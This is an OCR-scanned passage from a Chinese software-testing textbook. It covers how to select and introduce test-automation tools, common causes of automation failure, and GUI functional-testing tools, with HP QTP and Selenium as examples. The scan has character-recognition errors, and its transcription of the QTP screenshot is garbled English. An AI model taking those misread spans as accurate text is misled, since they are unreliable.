入 的 连续 性 ,也 就 是 说 ,对 测试 工具 的 选择 必须 有 一 个 全 盘 的 考虑 ,分 阶段 .逐步 地 引入 测试 
工具 。 一 般 来 说 ,测试 工具 的 选择 步骤 如 图 11-5 所 示 。 
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图 11-5 自动 化 测试 的 工具 选择 示意 图 


(1) 成 立 小 组 负责 测试 工具 的 选择 和 决策 ,制定 时 间 表 ; 

(2) 确定 自己 的 需求 ,研究 可 能 存在 的 不 同 解决 方案 ,并 进行 利弊 分 析 ; 

G) 了 解 市 场 上 满足 自己 需求 的 产品 ,包括 基本 功能 、 限 制 、 价 格 和 服务 等 ; 

(4) 根据 市 场 上 产品 的 功能 .限制 和 价格 ,结合 自己 的 开发 能 力 、 预 算 、 项 目 周期 等 决定 
是 自己 开发 ,还 是 购买 ; 

(5) 对 市 场 上 的 产品 进行 对 比分 析 , 确 定 2 一 3 种 产品 作为 候选 产品 ; 

(6) 请 候选 产品 的 厂商 来 介绍 、 演 示 ,并 提供 几 个 实例 ; 

(7) 初步 确定 ; 

(8) 商务 谈判 ; 

(9) 最 后 决定 。 


11.3.3 测试 自动 化 普遍 存在 的 问题 

对 测试 自动 化 及 其 工具 所 能 发 挥 的 作用 ,大 家 都 已 经 了 解 并 认可 了 ,但 是 很 多 软件 的 公 
司 在 实施 自动 化 测试 时 并 没有 达到 预期 效果 ,没有 让 测试 工具 发 挥 应 有 的 作用 。 这 里 面 的 
原因 比较 多 ,主要 有 以 下 几 个 方面 。 

1. 不 正确 的 观念 或 不 现实 的 期 望 

没有 建立 一 个 正确 的 软件 测试 自动 化 的 观念 ,或 操之过急 ,或 认为 测试 自动 化 可 以 代替 
手工 测试 ,或 认为 测试 自动 化 可 以 发 现 大 量 新 缺陷 等 。 多 数 情况 下 ,对 软件 测试 自动 化 存在 


过 于 乐观 的 态度 .过 高 的 期 望 , 人 们 都 期 望 通过 这 种 测试 自动 化 的 方案 能 解决 目前 所 有 遇 到 
的 问题 ,而 同时 测试 工具 的 软件 厂商 自然 会 强调 有 利 的 或 成 功 的 一 面 , 可 能 对 要 取得 这 种 成 


功 所 要 做 出 持久 不 懈 的 努力 , 却 只 字 不 提 。 结 果 最 初 的 期 望 , 却 没 有 实现 ,自动 化 测试 也 就 
RT TZ. 

2. 缺乏 具有 良好 素质 、 经 验 的 测试 人 才 

有 些 软件 公司 舍得 花 几 十 万 元 去 买 测 试 工具 软件 ,但 不 愿意 给 出 有 竞争 力 的 薪水 来 招 
聘 具 有 良好 素质 .经 验 丰富 的 测试 人 才 。 软 件 测试 自动 化 并 不 是 简 简单 单 地 使 用 测试 工具 ， 
而 需要 基于 测试 工具 开发 大 量 的 测试 脚本 ,并 在 脚本 开发 中 不 断 调 试 .修改 ,完善 脚本 。 这 
就 要 求 测试 人 员 不 仅 熟悉 产品 的 特性 和 应 用 领域 熟悉 测试 流程 ,而 且 需 具备 良好 的 编程 能 
力 和 经 验 。 

3. 测试 工具 本 身 的 问题 影响 测试 的 质量 

一 般 不 会 针对 自动 化 测试 脚本 进行 大 规模 的 测试 ,所 以 自动 测试 的 脚本 的 质量 往往 依 
赖 于 测试 人 才 的 经 验 和 工作 态度 。 而 通过 自动 测试 工具 执行 的 测试 用 例 是 不 需要 再 进行 手 
工 测试 的 。 如 果 自 动 测试 工具 的 质量 得 不 到 保证 ,将 直接 影响 到 测试 结果 的 正确 性 。 

如 果 软 件 测试 工具 没有 发 现 被 测 软 件 的 缺陷 ,并 不 能 说 明 软 件 中 不 存在 问题 ,可 能 是 测 
试 工具 本 身 不 够 全 面 的 问题 或 测试 的 预期 结果 设置 不 对 。 第 一 次 进行 自动 化 测试 时 ,结合 
手工 测试 的 结果 ,进行 对 比分 析 和 相互 验证 ,是 有 益 的 ,甚至 是 必要 的 。 

4. 没有 进行 有 效 的 、 充 分 的 培训 

人 员 和 培训 是 相辅相成 的 ,如 果 没 有 良好 的 有 效 的 、 充 分 的 培训 ,测试 人 员 对 测试 工具 
了 解 缺 乏 深 度 和 广度 ,从 而 导致 其 使 用 效率 低下 ,其 应 用 结果 不 理想 。 培 训 是 一 个 长 期 的 过 
程 , 不 是 通过 一 两 次 讲课 的 形式 就 能 达到 效果 。 而 且 , 在 测试 工具 的 实际 使 用 过 程 中 ,测试 
工具 的 使 用 者 可 能 还 会 遇 到 各 种 问题 ,这 也 需要 有 专人 负责 解决 ,否则 ,会 严重 影响 测试 工 
具 使 用 的 积极 性 。 

5. 没有 考虑 到 公司 的 实际 情况 ,盲目 引入 测试 工具 

有 一 点 很 明确 ,不 同 的 测试 工具 面向 不 同 的 测试 目的 .具有 各 自 的 特点 和 适用 范围 ,所 
以 不 是 任何 一 个 优秀 的 测试 工具 都 能 适应 不 同 公司 的 需求 。 某 个 公司 怀 着 美好 的 愿望 花 了 
不 小 的 代价 引入 测试 工具 ,一 年 以 后 ,测试 工具 可 能 成 了 摆设 。 究 其 原因 ,就 是 没有 能 够 考 
虑 公司 的 实际 情况 ,不 切实 际 地 期 望 测试 工具 能 够 改变 公司 的 现状 ,从 而 导致 失败 。 

例如 ,国内 多 数 软件 公司 是 面向 最 终 用 户 的 一 次 性 项 目的 软件 开发 ,而 不 是 软件 产品 的 
开发 。 项 目 开 发 周期 短 ,不 同 的 用 户 需 求 不 一 样 ,而 且 在 整个 开发 过 程 中 需求 和 用 户 界面 变 
动 较 大 ,这 种 情况 下 就 不 适合 引入 大 规模 的 功能 测试 工具 。 对 于 变化 不 停 的 需求 和 界面 , 开 
发 和 修改 脚本 的 工作 量 很 大 ,不 像 产品 开发 中 多 次 重复 运行 脚本 ,缺乏 良好 的 复 用 性 ,导致 
自动 化 测试 收益 低 。 运 用 测试 工具 不 但 不 能 减轻 工作 量 ,反而 加 重 了 测试 人 员 的 负担 。 这 
种 情况 下 可 以 考虑 引入 白 盒 测 试 工具 ,特别 是 静态 测试 工具 ,直接 通过 代码 扫描 发 现 问题 ， 
规范 代码 ,提升 代码 的 质量 。 

6. 没有 形成 一 个 良好 的 使 用 测试 工具 的 环境 

测试 工具 应 用 环境 需要 测试 流程 和 管理 机 制 做 相 适 应 的 变化 ,也 只 有 这 样 ,测试 工具 才 
能 真正 发 挥 作用 。 例 如 ,对 于 基于 GUI 的 自动 化 测试 来 说 ,产品 界面 的 改变 对 脚本 的 正常 
运行 影响 较 大 。 再 者 ,在 单元 测试 阶段 一 般 使 用 白 盒 测试 工具 ,而 单元 测试 主要 由 开发 人 员 


自己 完成 ,如 果 没 有 流程 来 规范 开发 人 员 的 行为 ,在 项 目 进度 压力 比较 大 的 情况 下 ,开发 人 
员 很 可 能 就 会 有 意识 地 不 使 用 测试 工具 ,来 逃避 问题 。 所 以 ,有 必要 在 开发 和 测试 的 流程 中 
明确 如 何 使 用 测试 工具 ,如 在 项 目 各 个 里 程 碑 所 提交 的 文档 中 必须 包含 某 些 测试 工具 生成 
的 报告 ,如 集成 测试 时 DevPartner 工具 生成 的 测试 覆盖 率 报告 .Logiscope 生成 的 代码 质量 
报告 。 

7. 其 他 技术 问题 和 组 织 问题 

自动 化 测试 脚本 的 维护 工作 量 很 大 ,而 且 软 件 产品 本 身 代码 的 改变 也 需要 遵守 一 定 的 
规则 ,从 而 保证 测试 脚本 良好 的 可 复 用 性 ,也 就 是 说 测试 自动 化 和 软件 产品 不 能 隔离 开 来 ， 
而 是 保持 同步 ,相互 匹配 的 关系 。 

其 次 ,提供 软件 测试 工具 的 第 三 方 厂家 ,对 客户 的 应 用 缺乏 足够 理解 ,很 难 提供 强 有 力 
的 技术 支持 和 具体 问题 的 解决 能 力 。 也 就 是 说 ,软件 测试 工具 和 被 测试 对 象 一 一 软件 产品 
或 系统 的 互 操作 性 会 存在 或 多 或 少 的 问题 ,加 之 技术 环境 的 不 断 变化 ,所 有 这 些 对 测试 自动 
化 的 应 用 推广 和 深入 ,都 带 来 很 大 的 影响 。 


11.3.4 自动 化 测试 的 引入 和 应 用 


在 全 面 启动 软件 测试 自动 化 之 前 ,首先 要 建立 对 软件 测试 自动 化 正确 的 认识 观 。 虽然 
软件 测试 自动 化 具有 很 多 优点 ,可 以 提高 测试 效率 、 覆 盖 率 和 可 靠 性 等 ,但 它 只 是 对 手工 测 
试 的 一 种 补充 ,软件 测试 自动 化 绝 不 能 代替 手工 测试 ,它们 各 有 各 的 特点 和 优势 ,其 测试 对 
象 和 测试 范围 都 不 一 样 。 

(1) 在 系统 功能 逻辑 测试 ,验收 测试 .适用 性 测试 .涉及 物理 交互 性 测试 时 ,多 采用 黑 仿 
测试 的 手工 测试 方法 。 

(D 单元 测试 集成 测试 .系统 负载 或 性 能 测试 .稳定 性 测试 .可 靠 性 测试 等 比较 适合 采 
用 自动 化 测试。 

(3) 对 那 种 不 稳定 软件 的 测试 开发 周期 很 短 的 软件 或 一 次 性 的 软件 等 不 适合 测试 自 
动 化 。 

(4) 工具 本 身 并 没有 想象 力 和 灵活 性 ,根据 经 验 报道 ,自动 化 测试 只 能 发 现 15%~30% 
的 缺陷 ,而 手工 测试 却 可 以 发 现 70%~85% 的 缺陷 。 所 以 功能 测试 工具 的 准确 合 义 是 回归 
测试 工具 ,因为 工具 不 能 发 现 更 多 的 新 间 题 ,但 可 以 保证 对 已 经 测试 过 部 分 可 以 进行 全 面 的 
验证 。 

多 数 情 况 下 ,将 手工 测试 和 自动 化 测试 相 结合 ,以 最 有 效 的 方法 来 完成 测试 任务 。 

L 找 准 测试 自动 化 的 切入 点 

不 管 是 自己 开发 测试 工具 ,还 是 购买 第 三 方 现成 的 工具 产品 , 当 开始 启动 测试 自动 化 
时 ,不 要 希望 一 下 子 就 能 做 很 多 事情 ,可 以 从 最 基本 的 测试 工作 切入 ,如 验证 新 构建 的 软件 
包 (Build) 是 否 有 严重 的 或 致命 的 问题 , 即 验证 当前 软件 包 的 基本 功能 是 否 正常 工作 。 也 可 
以 先 只 就 某 一 个 简单 模块 开始 自动 化 测试 工作 ,做 好 开拓 新 的 工作 。 如 果 这 个 模块 做 成 功 
了 ,再 向 其 他 模块 全 面 推进 。 

2, 把 测试 开发 纳入 整个 软件 开发 体系 

为 了 良好 实施 自动 化 测试 ,在 产品 软件 设计 阶段 就 应 该 很 好 地 考虑 自动 化 测试 的 要 求 ， 


保证 软件 的 可 测试 性 ,软件 系统 中 每 个 元 素 的 可 存 取 性 。 另 外 ,测试 脚本 也 应 看 作 程 序 , 所 
以 应 该 要 遵守 已 有 的 、 规 范 的 编程 标准 和 规则 ,并 纳入 整个 开发 过 程 中 。 测 试 脚本 也 需要 依 
靠 配置 管理 来 提供 良好 的 开发 环境 ,同时 必须 与 所 开发 软件 的 构建 紧密 配合 。 

只 要 是 程序 ,就 同样 会 存在 缺陷 ,就 需要 完成 相应 的 脚本 复查 .调试 和 验证 的 过 程 。 这 
并 不 是 要 求 针 对 测试 脚本 还 要 进行 大 量 测试 ,从 而 进入 “产品 测试 > 产品 测试 的 脚本 测试 一 
脚本 测试 的 脚本 测试 一 ?递归 的 死胡同 。 相 对 来 说 ,测试 脚本 语句 、 结 构 和 逻辑 都 简单 ,一 般 
通过 复查 就 能 发 现 脚本 中 的 大 部 分 问题 。 另 外 ,在 执行 脚本 时 ,脚本 的 问题 也 会 暴露 出 来 。 
在 脚本 执行 中 发 现 的 问题 ,要 么 是 被 测试 的 软件 产品 的 问题 ,要么 是 测试 脚本 自身 存在 的 问 
题 ,通过 仔细 检查 脚本 ,相对 容易 区 分 究竟 是 哪 边 出 了 问题 。 

为 了 使 测试 自动 化 的 脚本 能 多 次 重复 进行 ,测试 脚本 如 同 代码 一 样 ,需要 版 本 控制 , 通 
过 类 似 于 CVS、SubVersion 这 样 的 工具 来 实现 动态 的 配置 管理 。 

3. 测试 自动 化 依赖 测试 流程 和 测试 用 例 

不 管 是 手工 测试 和 自动 化 测试 ,关键 是 测试 流程 的 建立 和 测试 用 例 的 设计 ,只 有 在 良好 
的 测试 用 例 基础 上 ,编写 测试 脚本 ,执行 测试 或 运行 测试 脚本 ,才能 保证 测试 的 执行 效果 。 
为 了 适合 自动 化 测试 脚本 的 开发 ,可 以 将 测试 用 例 转化 为 矩阵 .表格 或 其 他 结构 化 形式 ,使 
测试 用 例 的 逻辑 更 清晰 .覆盖 面 更 清楚 ,提高 脚本 的 开发 效率 。 

4. 软件 测试 自动 化 的 投入 较 大 

由 于 软件 测试 自动 化 在 前 期 的 投入 要 比 手工 测试 的 投入 要 大 得 多 ,除了 购买 软件 测试 
工具 所 投入 的 资金 和 人 员 培 训 成 本 之 外 ,还 要 用 很 多 时 间 去 开发 和 维护 测试 脚本 。 

5. 进行 资源 的 合理 调度 

理想 情况 下 ,从 写 第 一 行 代码 时 就 开始 进行 每 日 软件 包 构建 、 每 日 自动 化 的 基本 验证 测 
试 。 这 种 做 法 能 使 软件 的 开发 状态 得 到 频繁 的 更 新 ,能 够 及 早 地 发 现 设 计 和 集成 的 缺陷 。 
为 了 充分 利用 时 间 与 设备 资源 ,下 班 之 后 进行 自动 的 软件 包 构 建 、 验 证 , 紧 接 着 自动 执行 测 
试 。 如 果 安 排 得 好 ,第 二 天 上 班 时 ,测试 结果 就 已 经 发 送 到 测试 工程 师 的 电子 邮箱 里 了 。 白 
天 开发 和 调试 脚本 、 晚 上 执行 自动 化 测试 ,这 是 一 种 行 之 有 效 的 方法 。 


11.4 功能 测试 工具 


基于 GUI 功能 测试 工具 在 软件 测试 自动 化 中 有 着 重要 的 一 席 之 地 ,其 基本 原理 是 : 将 
操作 应 用 程序 的 各 种 动作 和 输入 记录 下 来 ,如 将 键盘 操作 、 鼠 标 单 击 等 捕捉 (record) 下 来 ， 
生成 一 个 脚本 文件 ,这 个 脚本 以 后 可 以 被 “回放 (playback)”, 也 就 是 能 重复 上 一 次 所 操作 的 
动作 ,实现 自动 运行 。 但 自动 运行 还 不 是 测试 ,只 是 操作 演示 。 没 有 验证 ,就 不 能 算是 测试 。 
所 以 需要 对 相应 的 运行 结果 进行 验证 ,在 自动 化 测试 脚本 中 插入 检查 点 (check point) 或 验 
证 点 (Verification Point,VP) 来 完成 实际 结果 和 期 望 结果 的 比较 。 在 实际 工作 中 ,往往 直接 
在 开发 平台 上 创建 脚本 ,或 在 录制 脚本 的 基础 上 进行 修改 ,使 脚本 更 容易 维护 和 复 用 。 脚 本 
需要 不 断 运行 ,经 过 多 次 调试 和 修改 , 才 确 保 脚 本 的 执行 达到 预期 效果 。 一 旦 完成 测试 脚 
本 ,就 可 以 重复 运行 。 一 般 来 说 ,GUI 功能 测试 工具 的 测试 过 程 包含 下 列 5 个 步骤 : 

(1) 录制 测试 脚本 。 利 用 测试 工具 的 录制 功能 ,将 测试 人 员 的 操作 记录 下 来 ,并 转化 成 


相应 的 测试 脚本 。 

(2) 编辑 测试 脚本 。 直 接 录 制 下 来 的 测试 脚本 ,一般 不 能 直接 使 用 ,需要 修改 ,如 插入 
验证 点 .调整 测试 的 节奏 、 添 加 注释 等 。 

(3) 调试 测试 脚本 。 经 过 调试 ,确保 执行 效果 满足 测试 用 例 所 描述 的 要 求 。 

(4) 执行 。 在 测试 机 上 运行 测试 脚本 ,完成 事先 计划 的 测试 任务 。 

(5) 分 析 测 试 结果 ,包括 图 表 显 示 ,统计 分 析 。 

基于 GUI 功能 测试 工具 主要 适合 回归 测试 阶段 。 当 一 个 应 用 开发 基本 完成 后 ,程序 界 
面 基本 定型 ,虽然 业务 的 需求 会 很 频繁 变化 ,但 测试 脚本 结构 基本 不 需要 改动 ,只 需要 做 些 
小 调整 ,就 可 以 自动 运行 , 则 大 大 提高 了 测试 的 效率 和 测试 的 准确 性 。 


11.4.1 关键 特性 


为 了 更 有 效 地 开发 测试 脚本 ,提高 脚本 的 可 维护 性 ,不 仅 需要 良好 的 集成 开发 环境 
(IDE) 的 支持 ,与 软件 构建 工具 (如 Ant, maven 等 ) 无 颖 集成 ,而 且 测试 脚本 要 支持 数据 驱 
动 ,关键 字 驱动 ,对 象 映 射 等 特性 。 为 了 更 全 面 地 说 明 功能 测试 工具 的 特性 ,这 里 以 HP 
QuickTest Professional (QTP) 为 例 ( 如 图 11-6 所 示 ) 介 绍 其 主要 特性 。 


Data Table Unertiame.. Enter “Jon” in the “Unertiame” edt box 
DataTablef Fassword Erterthe encrypted sting “4463900413477514 150e M75800 | 
no Oc the "Sgrin" mage, 
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Oc the OF button, 
‘Store the eu the variable Pew 

Not Rest Check whether (ot Rea] se F s0: 


[Data Table( Type ct_. Select the -oneway rade buton in the tpe rado button group, 
(Data Table Poms_Cou Select the “5” tem tom the -petsCourt kt. 
(Data TableC From” Select the “JU tem from the “SomMorth” tet, 
(Data Table(-To”, Go. Select the "Sep" tems from the “YoMorth” ist. 


图 11-6 HP QTP 主要 界面 


1. QTP 的 主要 特性 


(1) 支持 的 脚本 语言 是 VBScript。 如 果 所 使 用 的 脚本 语言 和 所 熟悉 的 通用 语言 (如 
VB、C 语言 等 ) 比 较 接 近 或 一 致 ,测试 自动 化 也 就 成 功 了 一 半 。 脚 本 语言 的 功能 越 强 大 ,就 


越 能 够 为 测试 开发 人 员 提 供 更 灵活 的 使 用 空间 ,而 且 具 备 一 个 良好 的 、 类 似 于 C 语言 的 脚 
本 语言 结构 ( 头 文件 、 库 文件 等 ) 也 是 很 重要 的 , 它 会 大 大 减少 测试 脚本 的 维护 工作 量 。 总 
之 ,要 确认 脚本 语言 的 功能 是 否 可 以 满足 测试 的 实际 需求 。 

(2) 能 引用 外 部 的 VBS 代码 库 。 通 过 函数 调用 特性 ,可 以 建立 一 套 比 较 通 用 的 函数 
库 , 提 高 脚本 开发 效率 和 维护 性 。 一 般 来 说 ,这 种 函数 调用 能 够 通过 函数 之 间 的 参数 传递 来 
实现 ,有 利于 数据 驱动 脚本 的 实现 , 即 同样 的 脚本 可 以 处 理 不 同 的 测试 数据 输入 。 另 外 ,一 
些 外 部 函数 能 够 为 测试 提供 更 强大 的 功能 ,如 Windows 程序 中 对 DLL 文件 的 访问 、 对 数 
据 库 编 程 接口 的 调用 等 。 举 一 个 很 简单 又 很 实用 的 例子 ,完成 向 数据 库 插 入 一 条 记录 的 操 
作 , 程 序 可 以 提示 插入 成 功 , 但 数据 是 否 正确 写 入 数据 库 中 ,通常 需要 手工 去 数据 库 里 进行 
检查 ,以 确认 功能 是 否 真 正 地 得 到 实现 。 如 果 能 够 在 测试 脚本 中 插入 检查 点 ,通过 调用 数据 
库 提 供 的 编程 接口 检查 刚才 的 操作 是 否 执行 正常 ,这 样 就 无 顷 人 工 检查 ,测试 程序 可 以 一 气 
呵 成 地 完成 一 系列 的 自动 校 验 。 

(3) 支持 录制 和 回放 的 功能 。 支 持 对 象 标识 和 坐标 标识 两 种 方式 。 

(4) 提供 对 象 识别 工具 (Object Spy) ,用 来 查看 实时 对 象 或 测试 对 象 的 属性 和 方法 。 测 
试 工具 必须 能 够 在 程序 界面 中 区 分 各 种 对 象 (如 窗口 按钮 .滚动 条 等 ) 并 识别 出 来 ,这 样 录 
制 的 测试 脚本 才 具 有 良好 的 可 读 性 ,修改 的 灵活 性 和 维护 的 方便 性 。 

(5) 支持 多 种 方法 来 识别 对 象 ,如 标准 的 属性 (Mandatory) .辅助 的 属性 (Assistive) 、 智 
能 的 属性 (Smart Identification) 和 顺序 标识 (ordinal identifier) 等。 

(6) 支持 抽象 层 和 对 象 库 (Object Repository) ,应 用 程序 中 所 有 对 象 可 以 统一 被 管理 起 
来 ,测试 脚本 执行 时 ,可 以 查找 和 使 用 对 象 库 中 的 相应 对 象 。 当 系统 对 象 发 生变 化 时 ,只 要 
在 对 象 库 中 做 一 次 更 新 ,而 脚本 无 须 做 任何 改动 。 这 就 是 通过 抽象 层 来 实现 的 ,即将 程序 界 
面 中 存在 的 所 有 对 象 实体 一 一 映射 成 逮 辑 对 象 ,测试 就 可 以 针对 这 些 逻辑 对 象 进行 ,而 不 需 
要 依赖 于 界面 上 元 素 的 变化 ,以 减少 测试 脚本 建立 和 维护 的 工作 量 。 抽 象 层 在 一 些 测试 工 
具 中 被 称 为 测试 映射 图 (Test Map) ,测试 帧 (Test Frame) 或 取 值 映射 图 (Get Map) 。 举 个 
例子 ,就 比较 容易 理解 抽象 层 的 作用 。 如 程序 中 经 常 有 的 用 户 登 录 窗 口 ,一 般 需要 输入 用 户 
名 和 口令 ,可 以 在 脚本 中 将 这 两 条 信息 标识 为 “NAME” 和 “PASSWORD”, 对 应 程序 中 这 两 
个 变量 名 。 这 就 是 所 建立 的 抽象 层 ,可 以 在 大 量 脚本 里 ,有 同样 的 信息 标识 去 处 理 不 同 的 用 
户 登 录 操 作 。 如 果 下 一 版 本 的 程序 中 , 登录 窗口 中 两 条 输入 信息 的 标识 变 成 了 
“USERNAME” 和 “PWORD”, 这 时 就 不 需要 把 所 有 脚本 都 修改 一 遍 , 只 要 简单 地 将 抽象 层 
中 这 两 个 对 象 的 标识 进行 修改 就 可 以 了 。 脚 本 执行 时 通过 抽象 层 自动 会 使 用 新 的 对 象 标 
识 。 有 些 工具 软件 支持 程序 界面 对 象 自动 搜索 ,建立 所 发 现 对 象 的 抽象 层 ,当然 也 可 以 脚本 
手工 编程 定义 所 需要 的 抽象 层 。 

(7) 支持 数据 驱动 测试 (Data-Driven Test) 。 提 供 excel 形式 的 数据 表格 DataTable. H 
于 存放 测试 数据 或 参数 ,并 支持 global 和 local 两 种 类 型 。 在 数据 驱动 测试 中 ,测试 脚本 通 
过 从 事先 准备 的 数据 库 或 文件 中 读 取 数 据 , 在 执行 测试 过 程 中 将 结果 数据 写 入 数据 库 或 文 
件 中 ,或 直接 将 结果 和 事先 保存 在 数据 库 中 的 预期 结果 值 进行 比较 。 这 有 利于 测试 脚本 的 
代码 和 数据 输入 分 离 ,减少 代码 的 编程 和 维护 工作 量 , 也 有 利于 测试 用 例 的 扩充 和 完善 。 

(8) 支持 关键 字 驱 动 测试 (Keyword-Driven Test)。 通 过 动作 (Action) 来 组 织 测试 用 
例 ,可 以 看 作 是 脚本 的 关键 字模 式 的 具体 表现 。 动作 可 以 拥有 自己 的 测试 数据 表 


(DataTable) 和 对 象 库 ,并 支持 输入 输出 (Input/Output) 参 数 。 测 试用 例 可 以 由 若干 个 动作 
来 构成 ,并 能 通过 关键 字 视 图 查看 和 删除 。 其 动作 的 调用 支持 3 种 方式 : 插入 一 个 新 动作 、 
复制 一 个 已 有 的 动作 和 直接 调用 已 存在 的 动作 。 

(9) 脚本 编辑 器 支持 两 种 视图 : 专家 (Expert) 模 式 和 关键 字模 式 。 专 家 模式 就 是 代码 
视图 ,而 关键 字模 式 提供 一 个 跟 代 码 无 关 的 .描述 近似 于 原始 测试 用 例 的 视图 。 借 助 关键 词 
视图 ,容易 插入 ,修改 、 数 据 驱 动 和 移 除 测试 步骤 ,而 且 通 过 每 一 步骤 的 活动 屏幕 显示 被 测 应 
用 的 确切 状态 。 

(10) 支持 描述 性 编程 (Description Programming) ,用 简单 的 英语 以 文档 形式 记录 每 个 
步骤 ,并 通过 活动 屏幕 将 文档 与 一 个 集成 截屏 相 结合 。 

(11) 支持 各 种 类 型 的 验证 点 ,并 可 以 自动 引入 检查 点 来 验证 应 用 的 属性 和 功能 点 ,如 
确认 输出 量 或 检查 链接 的 有 效 性 。 人 允许 使 用 几 种 不 同类 型 的 检查 点 ,包括 文本 .GUI 位 图 
和 数据 库 等 。 

(12) 设置 环境 变量 (Environment Variables) ,从 而 使 一 个 测试 任务 中 所 有 动作 共享 。 
环境 变量 分 为 内 建 的 (build in) 和 自 定义 的 (user defined) 两 种 类 型 。 自 定义 的 环境 变量 可 
以 指向 一 个 XML 文件 。 

(13) 错误 现场 恢复 (Recovery Scenario) ,可 在 前 一 个 用 例 执行 出 错 后 ,将 被 测 系 统 恢 
复 到 初始 状态 ,从 而 继续 执行 下 面 的 测试 用 例 。 

(14) 测试 结果 有 多 种 状态 ,如 通过 (Passed)、 失败 (Failed)、 完 成 (Done)、 警 告 
(Warning) 和 信息 (Information) 等 ,并 能 进行 过 滤 。 

(15) 提供 调试 环境 。TestFusion 报告 列 出 在 测试 中 发 现 的 差错 和 出 错 的 位 置 ,可 快速 
隔离 和 诊断 缺陷 ,具有 调试 功能 ,支持 脚本 单 步 运行 .设置 断 点 .得 到 变量 返回 结果 等 ,从 而 
有 效 地 对 测试 脚本 的 执行 进行 跟踪 、 检 查 ,迅速 定位 问题 。 

(16) 对 外 提供 了 大 量 的 API 和 对 象 , 从 而 可 以 编写 脚本 以 实现 测试 的 操作 ,配置 .运行 
和 管理 完全 自动 化 。 测 试 工具 的 引入 是 一 个 长 期 的 过 程 , 应 该 是 伴随 着 测试 过 程 改 进而 进 
行 的 一 个 持续 的 过 程 , 因 此 ,测试 工具 的 集成 能 力也 是 必须 考虑 的 因素 。 这 里 的 集成 ,包括 
两 个 方面 的 要 求 ,一 是 能 和 否 和 开发 工具 进行 良好 的 集成 ; 二 是 能 否 和 其 他 测试 工具 进行 良 
好 的 集成 。 

(17) 提供 了 很 多 插件 ,如 . NET Java, SAP、 终 端 模拟 器 (Terminal Emulator) 等 ,以 支 
持 不 同类 型 应 用 的 测试 。 

2. 其 他 一 些 需 要 的 特性 

(1) 容错 处 理 机 制 。 对 于 可 以 自动 执行 的 测试 任务 ,通常 测试 人 员 会 在 上 班 时 间 将 任 
务 定 制 好 ,下 班 后 启动 任务 执行 ,第 二 天 上 班 再 来 检查 测试 执行 的 结果 。 但 是 ,经 常会 出 现 
本 来 需要 执行 整 晚 的 工作 ,第 二 天 却 发 现 才 执行 了 5 分 钟 ,就 因为 程序 一 些 异 常 错误 而 终止 
了 ,而 且 这 种 情况 经 常 发 生 。 因 此 ,测试 工具 应 具有 相应 的 容错 处 理 系 统 , 可 以 自动 处 理 一 
些 异 常情 况 而 对 系统 进行 复位 ,或 者 允许 用 户 设置 是 否 可 以 跳 过 某 些 错误 ,然后 继续 执行 下 
面 的 任务 。 例 如 ,开源 的 Web 功能 测试 工具 Selenium 就 设 定 了 不 同 的 断言 方式 ,其 中 当 
“verify 断言 方式 ?验证 失败 时 ,测试 执行 不 会 终止 ,继续 执行 下 去 ,并 将 错误 记 入 日志。 

(2) 命令 行 方 式 运行 测试 脚本 ,可 以 为 测试 的 执行 带 来 更 大 的 灵活 性 ,这 样 程序 Build 
后 就 可 以 自动 启动 测试 脚本 的 执行 ,并 且 可 以 同时 向 一 组 机 器 发 布 命令 ,让 它们 同时 运行 不 


同 的 测试 脚本 。 

(3) 分 布 式 测试 的 支持 。 在 互联 网 上 有 许多 协同 工作 .通信 等 方面 的 应 用 软件 ,如 网 上 
会 议 系 统 、 聊 天 系统 等 ,支持 多 用 户 来 共同 操作 软件 ,这 时 对 自动 化 测试 工具 有 更 高 的 要 求 ， 
例如 ,测试 任务 在 多 台 机 器 上 运行 ,操作 步骤 之 间 有 依赖 性 ,如 需要 等 到 机 器 A 的 某 操作 执 
行 完 之 后 ,机 器 B 的 某 一 步 操作 才能 执行 。 这 样 , 就 要 求 脚本 的 运行 能 够 按照 事先 设置 的 
任务 执行 时 间 表 进行 , 即 在 指定 时 间 ,指定 设备 上 执行 指定 的 测试 任务 。 而 且 ,还 要 避免 资 
源 使 用 冲突 问题 ,例如 , 当 两 个 测试 任务 要 同时 打开 一 个 文件 时 ,能 保持 协调 或 协同 处 理 , 避 
免 出 现 资源 竞争 问题 。 

(4) 支持 远程 代理 程序 的 运行 ,在 测试 人 员 的 工作 机 上 可 以 控制 实验 室 里 的 远程 测试 
机 ,让 测试 机 执行 测试 脚本 ,完成 测试 任务 。 代 理 程 序 占有 很 少 资源 .具有 很 强 的 独立 性 , 相 
互 传送 的 数据 量 也 要 很 小 ,这 样 对 测试 结果 影响 才 可 以 不 计 。 

(5) 跨 平台 特性 。 如 支持 Windows,Mac OS 和 Linux 不 同 的 平台 ,具有 更 广泛 的 应 用 
空间 。 


11.4.2 Selenium 及 其 应 用 


Selenium (http://seleniumhq. org/) 是 ThoughtWorks 专门 为 Web 应 用 而 开发 的 自 
动 化 测试 工具 集 , 适 合 进行 功能 测试 、 验 收 测试 。Selenium 由 几 个 测试 工具 承担 不 同 的 角 
色 , 从 而 构成 一 个 针对 Web 应 用 的 、 完 整 的 自动 化 测试 解决 方案 ,如 图 11-7 所 示 。 
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fA 11-7 Selenium 工具 的 构成 关系 


。 Selenium IDE( 集 成 开发 环境 ) ,Firefox 的 插件 (plug-in) ,可 以 录制 .回放 并 编辑 测 
试 脚本 ,是 Selenium 脚本 的 开发 平台 。 

。 Selenium Core( 核 心 ) 是 符合 断言 (assertion) 机 制 的 、 测 试 套件 执行 的 平台 。 它 是 整 
个 Selenium 测试 机 制 的 核心 部 分 ,由 纯 JavaScript 代码 组 成 ,负责 具体 测试 任务 的 
执行 。 

* Selenium Core HTA 是 针对 IE 设计 的 执行 平台 ,可 以 看 作 是 Selenium Core 的 一 个 


特例 ,运行 于 IE 的 最 高 安全 级 别 之 上 。 
。 Selenium Remote Control( 远 程控 制 ): 一 个 代理 与 控制 端 , 代 替 Selenium core/ 
Selenium IDE 的 客户 端 ,从 而 可 以 在 远程 机 器 上 执行 测试 任务 ,并 支持 多 种 脚本 语 
言 ,如 Java、. NET, Perl, Python 和 Ruby. 
。 Selenium Grid 可 以 并 行 地 运行 多 个 Selenium Remote Control 的 实例 ,从 而 在 分 布 
式 环境 中 同时 运行 多 个 测试 任务 ,并 能 在 一 台 机 器 上 控制 这 些 任 务 的 执行 , 极 大 地 
加 快 了 Web 应 用 的 功能 测试 。 
Selenium 的 主要 优势 有 : 
。 适合 Web 应 用 的 测试 ,可 直接 运行 在 浏览 器 之 上 ,所 见 即 所 得 ,因为 Selenium 的 核 
心 是 用 JavaScript 编写 的 。 
